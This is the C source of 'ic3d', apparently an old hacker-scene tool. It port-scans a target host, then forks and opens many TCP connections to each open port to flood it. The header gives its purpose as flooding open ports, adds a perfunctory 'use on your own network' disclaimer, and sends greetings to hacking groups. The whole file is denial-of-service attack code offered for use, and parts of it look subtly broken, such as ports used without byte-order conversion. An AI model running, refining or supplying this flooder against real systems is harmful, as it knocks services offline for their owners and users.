/* ic3d.c by iCeR  
  
Compile: gcc -o ic3d ic3d.c -w
Usage: ./ic3d <address> <portlow> <porthigh> <# connex>         

Scans ports than floods the shit out of the open ports.

Disclaimer:Please use on your own network. Use for good not evil.....
iCeR takes no responsibility for your actions. And So on. 
 
 Shoutz to: prognosisx.com, uha1.com, Acidburn_uha, Wizd0m.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>

#define MAX                      1024
#define VERSION             "v1.0"

/* Prototypes */

unsigned int resolve(char *host);
void pscan(unsigned int resolved_host, int portlow, int porthigh, int hitport[]);

void reseed(void);

void usage(char *progname) {
  printf("ic3d.c by iCeR %s...\n", VERSION);
  printf("usage: %s <address> <portlow> <porthigh> <# connex>\n",progname);
  exit(-1);
}
int a = 1;

main(int argc, char *argv[]) {
  unsigned int resolved_host;
  struct sockaddr_in sin[MAX];
  int x, y, q, sdesc[MAX];
  int portlow, porthigh, connex;
  int hitport[1024];

  if (argc < 5 || argc > 5) usage(argv[0]);

  reseed();

  resolved_host = resolve(argv[1]);    
  portlow  = atoi(argv[2]);
  porthigh = atoi(argv[3]);
  connex   = atoi(argv[4]);
	      
  system("clear");
  printf("                         ic3d.c by iCeR %s\n", VERSION);
  printf("                                 [7.23.99]\n\n");
  printf("Target address: %s\n", argv[1]);
  printf("Port scanning target...\n");
  sleep(1);
  printf("Ports open:");
  pscan(resolved_host, portlow, porthigh, hitport);
  printf("\nPort info complete, flooding ports.\n");

  for (x=1;x<a;x++) {
    fork();
    for (q=1;q<=connex;q++) {
      /* Create Socket */
      sdesc[q] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

      /* Fill in Socket Endpoint */
      sin[q].sin_family = AF_INET;
      sin[q].sin_port = hitport[x];
      printf("%d hit\n", hitport[x]);
      sin[q].sin_addr.s_addr = resolved_host;

      /* Connect to dest host. */
      connect(sdesc[q], (struct sockaddr *)&sin[q], sizeof(sin[q]));
    }
  }
}

void pscan(unsigned int resolved_host, int portlow, int porthigh, int hitport[]) {
  int z, sockdesc;
  struct sockaddr_in sin;
	
  reseed();
	
  for(z=portlow;z<=porthigh;z++) {		
    /* z counts from the port low to the port high for scanning */
    fflush(stdout);
    sockdesc = socket(AF_INET, SOCK_STREAM, 0);
		
    sin.sin_family = AF_INET;
    sin.sin_port = htons(z);
    sin.sin_addr.s_addr = resolved_host;
  
    if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) == 0) {
      printf(" %d", z);
      hitport[a] = z;	
      /* In total, a should represent the number of ports open */
      a++;
    }
  }
}

unsigned int resolve(char *host) {
  /* resolve routine taken from one of Aut0psy's scripts. */

  struct hostent *he;
  struct sockaddr_in tmp;

  /* Lookup host. */
  he = gethostbyname(host);

  if (he) {
    /* Copy host into a temporary endpoint. */
    memcpy((caddr_t)&tmp.sin_addr.s_addr, he->h_addr, he->h_length);
    } 
  else {
    perror("resolving");
    exit(-1);
    }

  /* Return address in network byte order. */  
  return(tmp.sin_addr.s_addr);
}


void reseed(void) {
  /* Seed random number database based on time of day... */
  srand(time(NULL));
}